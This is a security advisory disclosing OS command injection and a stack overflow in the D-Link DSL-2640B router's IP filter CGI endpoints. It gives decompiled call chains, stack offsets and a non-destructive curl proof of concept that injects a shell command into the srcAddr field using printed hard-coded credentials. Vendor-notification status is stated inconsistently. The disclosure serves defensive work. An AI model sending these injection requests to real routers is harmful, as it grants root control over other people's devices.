# CVE-TBD: D-Link DSL-2640B `scoutflt.cmd` / `scinflt.cmd` — OS Command Injection in IP filter fields (CWE-78) | Field | Value | |---|---| | Vendor | D-Link | | Product | DSL-2640B (hardware revision A, board D-4P-W, BCM6348) | | Firmware | 3.0.6.0.41 (`GE_DSL-2640B_306041G00_cfe_fs_kernel`) | | Component | `/bin/cfm` — web management CGI dispatcher | | Endpoints | `GET /scoutflt.cmd?action=add&...` and `GET /scinflt.cmd?action=add&...` | | Parameters | `fltName`, `protocol`, `srcAddr`, `srcMask`, `srcPort`, `dstAddr`, `dstMask`, `dstPort` (camelCase, as emitted by `webs/scoutflt.html:129-158` and `webs/scinflt.html:176-205`) | | Vulnerability type | OS command injection — CWE-78 | | Authentication | None in practice — hard-coded administrative account (advisory 09); `admin` credentials otherwise | | CVSS 3.1 | `AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` — **8.8 High** (rule application requires the WAN monitor) | | Status | CVE requested (VulDB), vendor notified | | Researcher | Zimo-666 | ## Summary The outgoing and incoming IP filter pages store up to eight attacker-controlled strings in fixed-size entry structures without any format validation. When the filter policy is applied, the stored strings are concatenated into `iptables` command lines that are executed with `/bin/sh -c`. Address and port fields therefore allow arbitrary command injection. ```c /* SecFltOutTbl::executeCommand() — outgoing filter */ sprintf(part, "-s %s", entry->srcAddr); /* 0x4ede2c */ sprintf(part, "--sport %s", entry->srcPort); /* 0x4ede34 */ sprintf(part, "-d %s", entry->dstAddr); /* 0x4ede4c */ sprintf(part, "--dport %s", entry->dstPort); /* 0x4ede54 */ sprintf(cmd, "iptables -%c FORWARD -i %s -p tcp %s %s %s %s -j DROP", op, ifc, ...); /* 0x4ede60 */ bcmSystemNoHang(cmd); /* /bin/sh -c */ /* SecFltInTbl::runiptables() — incoming filter */ sprintf(cmd, "iptables -I INPUT 1 -j ACCEPT -i %s %s %s %s %s %s", ...); /* 0x4edf34 */ bcmSystemNoHang(cmd); /* 0x463d90 */ ``` ## Affected product - **D-Link DSL-2640B**, hardware revision **A**, firmware **3.0.6.0.41** — affected (tested). - Product line is end-of-life; 3.0.6.0.41 is the latest publicly available RevA firmware. - Same `cfm` code base (DSL-2740R, DSL-2780B, DSL-526B): likely affected. ## Technical details Addresses are virtual addresses in `/bin/cfm` (`_gp = 0x1000ce70`). ### Chain (outgoing) ``` webmain()@0x47d6f0 -> "**.cmd" -> do_cmd_cgi()@0x496b90 -> WebCmdTable["scoutflt"] = cgiScOutFlt()@0x48e878 action=add -> cgiScOutFltAdd()@0x48e65c cgiGetValueByName("protocol")@0x48e690 cgiGetValueByName("fltName")@0x48e6d0 cgiGetValueByName("srcAddr")@0x48e6ec cgiGetValueByName("srcMask")@0x48e708 cgiGetValueByName("srcPort")@0x48e724 cgiGetValueByName("dstAddr")@0x48e740 cgiGetValueByName("dstMask")@0x48e75c cgiGetValueByName("dstPort")@0x48e778 -> BcmScm_addFilterOut()@0x45d180 -> SecFltOutTbl::set()@0x463664 / retrieve()@0x463050 -> executeCommand()@0x462b78 -> bcmSystemNoHang()@0x462dec action=save -> cgiScOutFltSave()@0x48e498 (stores / removes entries only) ``` ### Chain (incoming) ``` WebCmdTable["scinflt"] = cgiScInFlt()@0x48fbfc action=add -> cgiScInFltAdd()@0x48f8b8 -> addInFlt()@0x48e980 -> BcmScm_addFilterIn()@0x45d2a4 -> SecFltInTbl::set()@0x464ba8 / retrieve()@0x46449c -> executeCommand()@0x463f50 -> runiptables()@0x463cf8 sprintf(cmd, "iptables -I INPUT 1 -j ACCEPT -i %s %s %s %s %s %s", ...)@0x463d80 bcmSystemNoHang(cmd)@0x463d90 ``` ### When the command is executed The rules are not executed by `action=save` (that action only persists and re-renders the table). They are applied by `SecFltOutTbl::doPolicy()@0x462ec4` / `SecFltInTbl` equivalent, which is called from the WAN monitor path: ``` BcmWan_monitorInterfaces()@0x44e1bc -> SecCfgMngr::doIpGlobalPolicy()@0x458608 -> SecCfgMngr::doOutgoingIpFltPolicy()@0x45867c -> SecFltOutTbl::doPolicy()@0x462ec4 -> executeCommand() per stored entry ``` In normal operation (a WAN interface exists) this path runs on WAN state changes and on configuration application — i.e. the injected command is executed on any operational device. ### Why validation does not help - No `inet_addr()`/`inet_aton()` call exists anywhere in the `cgiScOutFltAdd` → `SecFltOutTbl` path; only the **mask** is converted (to a prefix length, `BcmScm_getLeftMostOneBitsInMask()`@0x462c08). Addresses and ports are stored and later used as raw strings. - The entry fields are `char[16]` structure members; values longer than 15 bytes already corrupt the neighbouring fields (see the overflow aspect below). - Requests are plain `GET`s; no CSRF token is involved. ### Additional impact: structure overwrite In `cgiScOutFltAdd()` the frame is `0x1b8` bytes with saved `$ra` at `0x1b4` and the entry starting at `$sp+0x120`. The `srcAddr` field lives at `$sp+0x134` — only **0x80 bytes** below `$ra` — so an over-long `srcAddr` value overflows the entry structure and then the saved registers. The incoming handler has `fltName` at `$sp+0x124` and `$ra` at `0x1e4` (**0xC0 bytes**). This turns the injection into a stack-based buffer overflow primitive as well (CWE-121). ## Proof of concept (non-destructive) ### Step 1 — store an entry containing a payload (verified) ```bash curl -s -o /dev/null -w '%{http_code}\n' -u 'asus:00202b004720' --get \ --data-urlencode 'action=add' \ --data-urlencode 'fltName=g7' \ --data-urlencode 'protocol=1' \ --data-urlencode 'srcAddr=;mkdir /var/q1;#' \ --data-urlencode 'srcPort=1' \ --data-urlencode 'dstAddr=0.0.0.0' \ --data-urlencode 'dstPort=1' \ http://127.0.0.1:18741/scoutflt.cmd # 200 ``` Storage check (the entry is accepted and displayed): ```bash curl -s -u 'asus:00202b004720' 'http://127.0.0.1:18741/scoutflt.cmd?action=view' | grep -c g7 # 2 ``` ### Step 2 — rule application On a device with a WAN interface the policy is applied automatically (WAN state changes / configuration apply). On the rehosted lab used for this disclosure no WAN interface exists, so the policy engine does not run and the marker is not created; the command line that would be executed is: ```sh iptables -A FORWARD -i br0 -p tcp -s ;mkdir /var/q1;# --sport 1 -d 0.0.0.0 --dport 1 -j DROP ``` ### Control tests | Test | Result | |---|---| | No credentials | `401`, entry not stored | | Benign entry (`srcAddr=1.2.3.4`) | `200`, stored and visible | | Injection entry | `200`, stored and visible (payload intact) | | `action=save` alone | does not execute the rules (storage only) | ## Impact - Root remote code execution on any operational device (WAN monitor applies the rules). - The entry (including the payload) is persisted into the configuration store, so the command is re-executed on subsequent policy applications — an attacker can plant it once. - Combined with the stack overflow aspect, a stronger primitive (control-flow hijack) is possible on the same endpoint. - Unauthenticated via the hard-coded account. ## CVSS 3.1 ``` CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.8 (High) ``` Conservative alternative with legitimate administrator credentials: 6.8 (`PR:H`). ## Remediation - Validate every address/port field with `inet_pton()` / `strtol()` and rebuild the rule from the normalised values. - Do not store raw request strings in `char[16]` fields; use typed fields and length-checked copies. - Remove the hard-coded account; restrict management access. ## Timeline | Date | Event | |---|---| | 2026-10-16 | Identified by static analysis of the filter policy engine | | 2026-10-17 | Entry storage dynamically verified; application path located | | 2026-10-17 | Vendor notified — pending send | | 2026-10-17 | CVE requested via VulDB — pending submission |